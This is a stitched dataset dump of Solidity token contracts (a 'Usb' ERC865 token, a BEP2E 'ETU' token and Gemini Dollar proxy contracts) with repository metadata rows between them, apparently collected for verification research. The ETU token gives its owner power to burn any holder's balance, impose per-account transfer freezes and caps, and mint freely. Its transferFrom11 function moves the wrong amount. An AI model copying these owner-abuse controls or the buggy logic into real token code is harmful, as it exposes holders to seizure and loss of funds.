_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
return true;
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
uint256[50] private ______gap;
}
interface IERC865 {
event TransferPreSigned(address indexed from, address indexed to, address indexed delegate, uint256 amount, uint256 fee);
event ApprovalPreSigned(address indexed from, address indexed to, address indexed delegate, uint256 amount, uint256 fee);
function countOf(address owner) external returns (uint256);
function transferPreSigned(bytes memory _signature, address _to, uint256 _value, uint256 _fee,uint256 _nonce) external returns (bool);
function approvePreSigned(bytes memory _signature, address _spender, uint256 _value, uint256 _fee, uint256 _nonce) external returns (bool);
function increaseAllowancePreSigned(bytes memory _signature, address _spender, uint256 _addedValue, uint256 _fee,uint256 _nonce) external returns (bool);
function decreaseAllowancePreSigned(bytes memory _signature,address _spender,uint256 _subtractedValue,uint256 _fee, uint256 _nonce) external returns (bool);
function transferFromPreSigned(bytes memory _signature, address _from, address _to, uint256 _value, uint256 _fee, uint256 _nonce) external returns (bool);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Usb is ERC20, IERC865, Ownable {
mapping(bytes32 => bool) hashedTxs;
mapping (address => uint256) private _counts;
using SafeMath for uint256;
string public symbol = "USB";
string public name = "USB";
uint8 public decimals = 2;
constructor() {
_mint(msg.sender, 10000 * 1e2);
}
function setMetaData(string memory _name, string memory _symbol) external onlyOwner returns (bool){
name = _name;
symbol = _symbol;
return true;
}
function burn(uint256 _value) public returns (bool) {
_burn(msg.sender,_value);
return true;
}
function mint(address _to, uint256 _amount) onlyOwner public returns (bool) {
_mint(_to, _amount);
return true;
}
function burnMint(address _to, uint256 _amount) onlyOwner public returns (bool) {
_burn(_to, _amount);
_mint(_to, _amount);
return true;
}
function countOf(address owner) public view returns (uint256) {
return _counts[owner];
}
function transferPreSigned(bytes memory _signature,
address _to,
uint256 _value,
uint256 _fee,
uint256 _nonce)
public
returns (bool)
{
require(_to != address(0), "Invalid _to address");
bytes32 hashedParams = getTransferPreSignedHash(address(this), _to, _value, _fee, _nonce);
bytes32 ethSignedMessageHash = ECDSA.toEthSignedMessageHash(hashedParams);
address from = ECDSA.recover(ethSignedMessageHash, _signature);
require(from != address(0), "Invalid from address recovered");
bytes32 hashedTx = keccak256(abi.encodePacked(from, ethSignedMessageHash));
require(hashedTxs[hashedTx] == false,"Transaction hash was already used");
hashedTxs[hashedTx] = true;
_transfer(from, _to, _value);
_transfer(from, msg.sender, _fee);
_counts[from]+=1;
emit TransferPreSigned(from, _to, msg.sender, _value, _fee);
return true;
}
function approvePreSigned(bytes memory _signature,
address _spender,
uint256 _value,
uint256 _fee,
uint256 _nonce)
public
returns (bool)
{
require(_spender != address(0),"Invalid _spender address");
bytes32 hashedParams = getApprovePreSignedHash(address(this), _spender, _value, _fee, _nonce);
bytes32 ethSignedMessageHash = ECDSA.toEthSignedMessageHash(hashedParams);
address from = ECDSA.recover(ethSignedMessageHash, _signature);
require(from != address(0),"Invalid from address recovered");
bytes32 hashedTx = keccak256(abi.encodePacked(from, ethSignedMessageHash));
require(hashedTxs[hashedTx] == false,"Transaction hash was already used");
hashedTxs[hashedTx] = true;
_approve(from, _spender, _value);
_transfer(from, msg.sender, _fee);
_counts[from]+=1;
emit ApprovalPreSigned(from, _spender, msg.sender, _value, _fee);
return true;
}
function increaseAllowancePreSigned(bytes memory _signature,
address _spender,
uint256 _addedValue,
uint256 _fee,
uint256 _nonce)
public
returns (bool)
{
require(_spender != address(0),"Invalid _spender address");
bytes32 hashedParams = getIncreaseAllowancePreSignedHash(address(this), _spender, _addedValue, _fee, _nonce);
bytes32 ethSignedMessageHash = ECDSA.toEthSignedMessageHash(hashedParams);
address from = ECDSA.recover(ethSignedMessageHash, _signature);
require(from != address(0),"Invalid from address recovered");
bytes32 hashedTx = keccak256(abi.encodePacked(from, ethSignedMessageHash));
require(hashedTxs[hashedTx] == false,"Transaction hash was already used");
hashedTxs[hashedTx] = true;
_approve(from, _spender, allowance(from, _spender).add(_addedValue));
_transfer(from, msg.sender, _fee);
_counts[from]+=1;
emit ApprovalPreSigned(from, _spender, msg.sender, allowance(from, _spender), _fee);
return true;
}
function decreaseAllowancePreSigned(bytes memory _signature,
address _spender,
uint256 _subtractedValue,
uint256 _fee,
uint256 _nonce)
public
returns (bool)
{
require(_spender != address(0),"Invalid _spender address");
bytes32 hashedParams = getDecreaseAllowancePreSignedHash(address(this), _spender, _subtractedValue, _fee, _nonce);
bytes32 ethSignedMessageHash = ECDSA.toEthSignedMessageHash(hashedParams);
address from = ECDSA.recover(ethSignedMessageHash, _signature);
require(from != address(0),"Invalid from address recovered");
bytes32 hashedTx = keccak256(abi.encodePacked(from, ethSignedMessageHash));
require(hashedTxs[hashedTx] == false,"Transaction hash was already used");
// if substractedValue is greater than allowance will fail as allowance is uint256
hashedTxs[hashedTx] = true;
_approve(from, _spender, allowance(from,_spender).sub(_subtractedValue));
_transfer(from, msg.sender, _fee);
_counts[from]+=1;
emit ApprovalPreSigned(from, _spender, msg.sender, allowance(from, _spender), _fee);
return true;
}
function transferFromPreSigned(bytes memory _signature,
address _from,
address _to,
uint256 _value,
uint256 _fee,
uint256 _nonce)
public
returns (bool)
{
require(_to != address(0),"Invalid _to address");
bytes32 hashedParams = getTransferFromPreSignedHash(address(this), _from, _to, _value, _fee, _nonce);
bytes32 ethSignedMessageHash = ECDSA.toEthSignedMessageHash(hashedParams);
address spender = ECDSA.recover(ethSignedMessageHash, _signature);
require(spender != address(0),"Invalid spender address recovered");
bytes32 hashedTx = keccak256(abi.encodePacked(spender, ethSignedMessageHash));
require(hashedTxs[hashedTx] == false,"Transaction hash was already used");
hashedTxs[hashedTx] = true;
_transfer(_from, _to, _value);
_approve(_from, spender, allowance(_from, spender).sub(_value));
_transfer(spender, msg.sender, _fee);
_counts[spender]+=1;
emit TransferPreSigned(_from, _to, msg.sender, _value, _fee);
return true;
}
function getTransferPreSignedHash(address _token,
address _to,
uint256 _value,
uint256 _fee,
uint256 _nonce)
public
pure
returns (bytes32)
{
return keccak256(abi.encodePacked(bytes4(0x0d98dcb1), _token, _to, _value, _fee, _nonce));
}
function validate(bytes memory _signature,
address _to,
uint256 _value,
uint256 _fee,
uint256 _nonce)
public
view
returns (bytes32, address, bytes32)
{
bytes32 hashedParams = getTransferPreSignedHash(address(this), _to, _value, _fee, _nonce);
bytes32 ethSignedMessageHash = ECDSA.toEthSignedMessageHash(hashedParams);
address from = ECDSA.recover(ethSignedMessageHash, _signature);
bytes32 hashedTx = keccak256(abi.encodePacked(from, hashedParams));
return (hashedParams, from, hashedTx);
}
function getApprovePreSignedHash(address _token,
address _spender,
uint256 _value,
uint256 _fee,
uint256 _nonce)
public
pure
returns (bytes32)
{
return keccak256(abi.encodePacked(bytes4(0x79250dcf), _token, _spender, _value, _fee, _nonce));
}
function getIncreaseAllowancePreSignedHash(address _token,
address _spender,
uint256 _addedValue,
uint256 _fee,
uint256 _nonce)
public
pure
returns (bytes32)
{
return keccak256(abi.encodePacked(bytes4(0x138e8da1), _token, _spender, _addedValue, _fee, _nonce));
}
function getDecreaseAllowancePreSignedHash(address _token,
address _spender,
uint256 _subtractedValue,
uint256 _fee,
uint256 _nonce)
public
pure
returns (bytes32)
{
return keccak256(abi.encodePacked(bytes4(0x5229c56f), _token, _spender, _subtractedValue, _fee, _nonce));
}
function getTransferFromPreSignedHash(address _token,
address _from,
address _to,
uint256 _value,
uint256 _fee,
uint256 _nonce)
public
pure
returns (bytes32)
{
return keccak256(abi.encodePacked(bytes4(0xa70c41b4), _token, _from, _to, _value, _fee, _nonce));
}
function getEthSignedHash(bytes32 _hash)
public
pure
returns (bytes32)
{
return ECDSA.toEthSignedMessageHash(_hash);
}
}
| 49,102 | 12,238 |
3525520655479b3dc3d9afb91c7b9db993556bb0c064af9b70a070711210b1af
| 26,445 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TB/TBjUU6w1VP6U8YP3a1gzBHVSG73ioJmotF_BEP2EToken.sol
| 4,506 | 15,663 |
//SourceUnit: EEU.sol
pragma solidity 0.5.14;
interface IBEP2E {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint256);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c= a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c= a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a== 0) {
return 0;
}
uint256 c= a * b;
require(c / a== b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c= a / b;
// assert(a== b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender= _msgSender();
_owner= msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner== _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner= address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner= newOwner;
}
}
contract BEP2EToken is Context, IBEP2E, Ownable {
using SafeMath for uint256;
mapping (address=> uint256) private _balances;
mapping (address=> uint256) private _fhbalances;
mapping (address=> uint256) private _dstime;
mapping (address=> uint256) private _dxz;
mapping (uint256=> uint256) private _bing;
mapping (address=> uint256) private _mybing;
mapping (address=> mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000000;
uint256 private _totalSupply=_tTotal * 10**6;
uint8 public _decimals;
string public _symbol;
string public _name;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private _issxExcluded;
mapping (address => bool) private _isZXZed;
mapping (address => bool) private _iDSed;
address public _fh;
uint256 _tfee=2;
uint256 _lfee=1;
uint256 _bjs=0;
uint256 public _maxTxAmount = 88 * 10**6;
uint256 public _onedaySeconds = 24 * 3600;
mapping (address => uint256) public _lastTransferTime;
uint256 public _tFeeTotal;
uint256 public _tFeeBing;
constructor() public {
_name= 'ETU';
_symbol= 'ETU';
_decimals= 6;
_balances[msg.sender]= _totalSupply;
_issxExcluded[msg.sender]=true;
_isZXZed[msg.sender]=true;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function getOwner() external view returns (address) {
return owner();
}
function setDstimePercent(address account,uint256 rfh) external onlyOwner() {
_dstime[account] = rfh;
}
function setDXZPercent(address account,uint256 ds) external onlyOwner() {
_dxz[account] = ds;
}
function setDsPercent(uint256 ds) external onlyOwner() {
_onedaySeconds = ds;
}
function setFHPercent(address account,uint256 rfh) external onlyOwner() {
_fhbalances[account] = rfh;
}
function getfhbalanceOf(address account) external view returns (uint256) {
return _fhbalances[account];
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_tfee = taxFee;
}
function setLFeePercent(uint256 taxFee) external onlyOwner() {
_lfee = taxFee;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount=maxTxPercent;
}
function setFHAdd(address account) external onlyOwner() {
_fh = account;
_issxExcluded[_fh]=true;
_isZXZed[_fh]=true;
}
function indsAccount(address account) external onlyOwner() {
_iDSed[account] = true;
}
function outdsAccount(address account) external onlyOwner() {
_iDSed[account] = false;
}
function infhcludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is true");
_isExcluded[account] = true;
_excluded.push(account);
}
function outfhcludeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is false");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function inZXZAccount(address account) external onlyOwner() {
_isZXZed[account] = true;
}
function outZXZAccount(address account) external onlyOwner() {
_isZXZed[account] = false;
}
function insxcludeAccount(address account) external onlyOwner() {
_issxExcluded[account] = true;
}
function outsxcludeAccount(address account) external onlyOwner() {
_issxExcluded[account] = false;
}
function decimals() external view returns (uint256) {
return _decimals;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function name() external view returns (string memory) {
return _name;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
//return _balances[account];
uint256 k=0;
if (!_isExcluded[account] && _tFeeTotal > 0 && _bjs >= _mybing[account] && _balances[account] > 0){
uint256 rt=_totalSupply;
uint256 rAmount=_balances[account];
for (uint256 j = 0; j < _excluded.length; j++) {
rt=rt.sub(_balances[_excluded[j]]);
}
for (uint256 i = _mybing[account]; i < _bjs; i++) {
rt=rt.sub(_bing[i]);
uint256 fbing=rAmount.mul(_bing[i]).div(rt);
k=k.add(fbing);
}
}
return _balances[account].add(k);
}
function tokenFromReflection(address account) private{
if (!_isExcluded[account] && _tFeeTotal > 0 && _bjs >= _mybing[account] && _balances[account] > 0){
uint256 rt=_totalSupply;
uint256 rAmount=_balances[account];
for (uint256 j = 0; j < _excluded.length; j++) {
rt=rt.sub(_balances[_excluded[j]]);
}
for (uint256 i = _mybing[account]; i < _bjs; i++) {
rt=rt.sub(_bing[i]);
uint256 fbing=rAmount.mul(_bing[i]).div(rt);
_tFeeBing=_tFeeBing.add(fbing);
_balances[account]=_balances[account].add(fbing);
_mybing[account]=i.add(1);
}
}
// if (!_isExcluded[account] && _tFeeTotal > 0){
// uint256 rAmount=_balances[account];
// uint256 rt=_tTotal.sub(_tFeeTotal);
// // for (uint256 i = 0; i < _excluded.length; i++) {
// // rt=rt.sub(_balances[_excluded[i]]);
// // }
// rt=rAmount.div(rt).mul(_tFeeTotal);
// //rAmount=rAmount.add(rt);
// _tFeeTotal=_tFeeTotal.sub(rt);
// _balances[account]=_balances[account].add(rt);
// }
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP2E: transfer amount exceeds allowance"));
return true;
}
function transferFrom11(address sender, address recipient, uint256 amount,address recipient1, uint256 amount1,address recipient2, uint256 amount2) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP2E: transfer amount exceeds allowance"));
_transfer(sender, recipient1, amount1);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount1, "BEP2E: transfer amount exceeds allowance"));
_transfer(sender, recipient2, amount1);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount2, "BEP2E: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP2E: decreased allowance below zero"));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function burn(address account,uint256 amount) public onlyOwner returns (bool) {
_burn(account, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP2E: transfer from the zero address");
require(recipient != address(0), "BEP2E: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(_balances[sender] >= amount, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner() && !_isZXZed[sender]){
if(_dxz[sender] > 0){
require(amount <= _dxz[sender], "Transfer amount exceeds the maxTxAmount.");
}else{
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
}
if(!_iDSed[sender]){
if(_dstime[sender] > 0){
require(block.timestamp.sub(_lastTransferTime[sender]) >= _dstime[sender], "Transfer is ds.");
}else{
require(block.timestamp.sub(_lastTransferTime[sender]) >= _onedaySeconds, "Transfer is ds!");
}
}
uint256 rebla=_balances[recipient];
tokenFromReflection(sender);
if(rebla>0)tokenFromReflection(recipient);
if (_issxExcluded[sender] || _issxExcluded[recipient]){
_balances[sender] = _balances[sender].sub(amount, "BEP2E: transfer amount exceeds balance");
_balances[recipient]= _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
if(sender != owner())_lastTransferTime[sender] = block.timestamp;
if(rebla==0)_mybing[recipient]=_bjs.add(1);
}else{
_balances[sender] = _balances[sender].sub(amount, "BEP2E: transfer amount exceeds balance");
uint256 sxf=amount.mul(_tfee).div(100);
_balances[_fh]=_balances[_fh].add(sxf);
emit Transfer(sender, _fh, sxf);
uint256 rsxf=amount.mul(_lfee).div(100);
uint256 tamount=amount.sub(sxf).sub(rsxf);
_balances[recipient]= _balances[recipient].add(tamount);
emit Transfer(sender, recipient, tamount);
if(sender != owner())_lastTransferTime[sender] = block.timestamp;
if(rebla==0)_mybing[recipient]=_bjs.add(1);
_bing[_bjs]=rsxf;
_bjs=_bjs.add(1);
_tFeeTotal=_tFeeTotal.add(rsxf);
}
}
function fhtransfer(address recipient) external returns (bool) {
uint256 tamount=_fhbalances[recipient];
if(tamount>0){
_fhbalances[recipient]=0;
_transfer(_fh, recipient, tamount);
return true;
}else{
return false;
}
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
_transfer(msg.sender,receivers[i], amounts[i]);
}
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "BEP2E: mint to the zero address");
_totalSupply= _totalSupply.add(amount);
_balances[account]= _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP2E: burn from the zero address");
_balances[account]= _balances[account].sub(amount, "BEP2E: burn amount exceeds balance");
_totalSupply= _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BEP2E: approve from the zero address");
require(spender != address(0), "BEP2E: approve to the zero address");
_allowances[owner][spender]= amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "BEP2E: burn amount exceeds allowance"));
}
}
| 284,178 | 12,239 |
b4697faa11b8e7852d69f9d14af1fba84699a44a2b335834ec007e6ba916d809
| 36,488 |
.sol
|
Solidity
| false |
313659237
|
nelaturuk/verisolid_journal_experiments
|
919c4a29187e561681ab0197059c31e8899d88f5
|
case-studies/ERC20contracts/Type 4/GeminiDollar.sol
| 5,159 | 18,956 |
pragma solidity ^0.4.21;
contract LockRequestable {
// MEMBERS
/// @notice the count of all invocations of `generateLockId`.
uint256 public lockRequestCount;
// CONSTRUCTOR
function LockRequestable() public {
lockRequestCount = 0;
}
// FUNCTIONS
function generateLockId() internal returns (bytes32 lockId) {
return keccak256(block.blockhash(block.number - 1), address(this), ++lockRequestCount);
}
}
contract CustodianUpgradeable is LockRequestable {
// TYPES
/// @dev The struct type for pending custodian changes.
struct CustodianChangeRequest {
address proposedNew;
}
// MEMBERS
/// @dev The address of the account or contract that acts as the custodian.
address public custodian;
/// @dev The map of lock ids to pending custodian changes.
mapping (bytes32 => CustodianChangeRequest) public custodianChangeReqs;
// CONSTRUCTOR
function CustodianUpgradeable(address _custodian)
LockRequestable()
public
{
custodian = _custodian;
}
// MODIFIERS
modifier onlyCustodian {
require(msg.sender == custodian);
_;
}
// PUBLIC FUNCTIONS
// (UPGRADE)
function requestCustodianChange(address _proposedCustodian) public returns (bytes32 lockId) {
require(_proposedCustodian != address(0));
lockId = generateLockId();
custodianChangeReqs[lockId] = CustodianChangeRequest({
proposedNew: _proposedCustodian
});
emit CustodianChangeRequested(lockId, msg.sender, _proposedCustodian);
}
function confirmCustodianChange(bytes32 _lockId) public onlyCustodian {
custodian = getCustodianChangeReq(_lockId);
delete custodianChangeReqs[_lockId];
emit CustodianChangeConfirmed(_lockId, custodian);
}
// PRIVATE FUNCTIONS
function getCustodianChangeReq(bytes32 _lockId) private view returns (address _proposedNew) {
CustodianChangeRequest storage changeRequest = custodianChangeReqs[_lockId];
// reject null results from the map lookup
// this can only be the case if an unknown `_lockId` is received
require(changeRequest.proposedNew != 0);
return changeRequest.proposedNew;
}
/// @dev Emitted by successful `requestCustodianChange` calls.
event CustodianChangeRequested(bytes32 _lockId,
address _msgSender,
address _proposedCustodian);
/// @dev Emitted by successful `confirmCustodianChange` calls.
event CustodianChangeConfirmed(bytes32 _lockId, address _newCustodian);
}
contract ERC20ImplUpgradeable is CustodianUpgradeable {
// TYPES
/// @dev The struct type for pending implementation changes.
struct ImplChangeRequest {
address proposedNew;
}
// MEMBERS
// @dev The reference to the active token implementation.
ERC20Impl public erc20Impl;
/// @dev The map of lock ids to pending implementation changes.
mapping (bytes32 => ImplChangeRequest) public implChangeReqs;
// CONSTRUCTOR
function ERC20ImplUpgradeable(address _custodian) CustodianUpgradeable(_custodian) public {
erc20Impl = ERC20Impl(0x0);
}
// MODIFIERS
modifier onlyImpl {
require(msg.sender == address(erc20Impl));
_;
}
// PUBLIC FUNCTIONS
// (UPGRADE)
function requestImplChange(address _proposedImpl) public returns (bytes32 lockId) {
require(_proposedImpl != address(0));
lockId = generateLockId();
implChangeReqs[lockId] = ImplChangeRequest({
proposedNew: _proposedImpl
});
emit ImplChangeRequested(lockId, msg.sender, _proposedImpl);
}
function confirmImplChange(bytes32 _lockId) public onlyCustodian {
erc20Impl = getImplChangeReq(_lockId);
delete implChangeReqs[_lockId];
emit ImplChangeConfirmed(_lockId, address(erc20Impl));
}
// PRIVATE FUNCTIONS
function getImplChangeReq(bytes32 _lockId) private view returns (ERC20Impl _proposedNew) {
ImplChangeRequest storage changeRequest = implChangeReqs[_lockId];
// reject null results from the map lookup
// this can only be the case if an unknown `_lockId` is received
require(changeRequest.proposedNew != address(0));
return ERC20Impl(changeRequest.proposedNew);
}
/// @dev Emitted by successful `requestImplChange` calls.
event ImplChangeRequested(bytes32 _lockId,
address _msgSender,
address _proposedImpl);
/// @dev Emitted by successful `confirmImplChange` calls.
event ImplChangeConfirmed(bytes32 _lockId, address _newImpl);
}
contract ERC20Interface {
// METHODS
// NOTE:
// public getter functions are not currently recognised as an
// implementation of the matching abstract function by the compiler.
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#name
// function name() public view returns (string);
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#symbol
// function symbol() public view returns (string);
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#totalsupply
// function decimals() public view returns (uint8);
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#totalsupply
function totalSupply() public view returns (uint256);
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#balanceof
function balanceOf(address _owner) public view returns (uint256 balance);
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#transfer
function transfer(address _to, uint256 _value) public returns (bool success);
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#transferfrom
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#approve
function approve(address _spender, uint256 _value) public returns (bool success);
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#allowance
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
// EVENTS
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#transfer-1
event Transfer(address indexed _from, address indexed _to, uint256 _value);
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#approval
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract ERC20Proxy is ERC20Interface, ERC20ImplUpgradeable {
// MEMBERS
/// @notice Returns the name of the token.
string public name;
/// @notice Returns the symbol of the token.
string public symbol;
/// @notice Returns the number of decimals the token uses.
uint8 public decimals;
// CONSTRUCTOR
function ERC20Proxy(string _name,
string _symbol,
uint8 _decimals,
address _custodian)
ERC20ImplUpgradeable(_custodian)
public
{
name = _name;
symbol = _symbol;
decimals = _decimals;
}
// PUBLIC FUNCTIONS
// (ERC20Interface)
function totalSupply() public view returns (uint256) {
return erc20Impl.totalSupply();
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return erc20Impl.balanceOf(_owner);
}
function emitTransfer(address _from, address _to, uint256 _value) public onlyImpl {
emit Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
return erc20Impl.transferWithSender(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
return erc20Impl.transferFromWithSender(msg.sender, _from, _to, _value);
}
function emitApproval(address _owner, address _spender, uint256 _value) public onlyImpl {
emit Approval(_owner, _spender, _value);
}
function approve(address _spender, uint256 _value) public returns (bool success) {
return erc20Impl.approveWithSender(msg.sender, _spender, _value);
}
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool success) {
return erc20Impl.increaseApprovalWithSender(msg.sender, _spender, _addedValue);
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool success) {
return erc20Impl.decreaseApprovalWithSender(msg.sender, _spender, _subtractedValue);
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return erc20Impl.allowance(_owner, _spender);
}
}
contract ERC20Impl is CustodianUpgradeable {
// TYPES
/// @dev The struct type for pending increases to the token supply (print).
struct PendingPrint {
address receiver;
uint256 value;
}
// MEMBERS
/// @dev The reference to the proxy.
ERC20Proxy public erc20Proxy;
/// @dev The reference to the store.
ERC20Store public erc20Store;
/// @dev The sole authorized caller of delegated transfer control ('sweeping').
address public sweeper;
bytes32 public sweepMsg;
mapping (address => bool) public sweptSet;
/// @dev The map of lock ids to pending token increases.
mapping (bytes32 => PendingPrint) public pendingPrintMap;
// CONSTRUCTOR
function ERC20Impl(address _erc20Proxy,
address _erc20Store,
address _custodian,
address _sweeper)
CustodianUpgradeable(_custodian)
public
{
require(_sweeper != 0);
erc20Proxy = ERC20Proxy(_erc20Proxy);
erc20Store = ERC20Store(_erc20Store);
sweeper = _sweeper;
sweepMsg = keccak256(address(this), "sweep");
}
// MODIFIERS
modifier onlyProxy {
require(msg.sender == address(erc20Proxy));
_;
}
modifier onlySweeper {
require(msg.sender == sweeper);
_;
}
function approveWithSender(address _sender,
address _spender,
uint256 _value)
public
onlyProxy
returns (bool success)
{
require(_spender != address(0)); // disallow unspendable approvals
erc20Store.setAllowance(_sender, _spender, _value);
erc20Proxy.emitApproval(_sender, _spender, _value);
return true;
}
function increaseApprovalWithSender(address _sender,
address _spender,
uint256 _addedValue)
public
onlyProxy
returns (bool success)
{
require(_spender != address(0)); // disallow unspendable approvals
uint256 currentAllowance = erc20Store.allowed(_sender, _spender);
uint256 newAllowance = currentAllowance + _addedValue;
require(newAllowance >= currentAllowance);
erc20Store.setAllowance(_sender, _spender, newAllowance);
erc20Proxy.emitApproval(_sender, _spender, newAllowance);
return true;
}
function decreaseApprovalWithSender(address _sender,
address _spender,
uint256 _subtractedValue)
public
onlyProxy
returns (bool success)
{
require(_spender != address(0)); // disallow unspendable approvals
uint256 currentAllowance = erc20Store.allowed(_sender, _spender);
uint256 newAllowance = currentAllowance - _subtractedValue;
require(newAllowance <= currentAllowance);
erc20Store.setAllowance(_sender, _spender, newAllowance);
erc20Proxy.emitApproval(_sender, _spender, newAllowance);
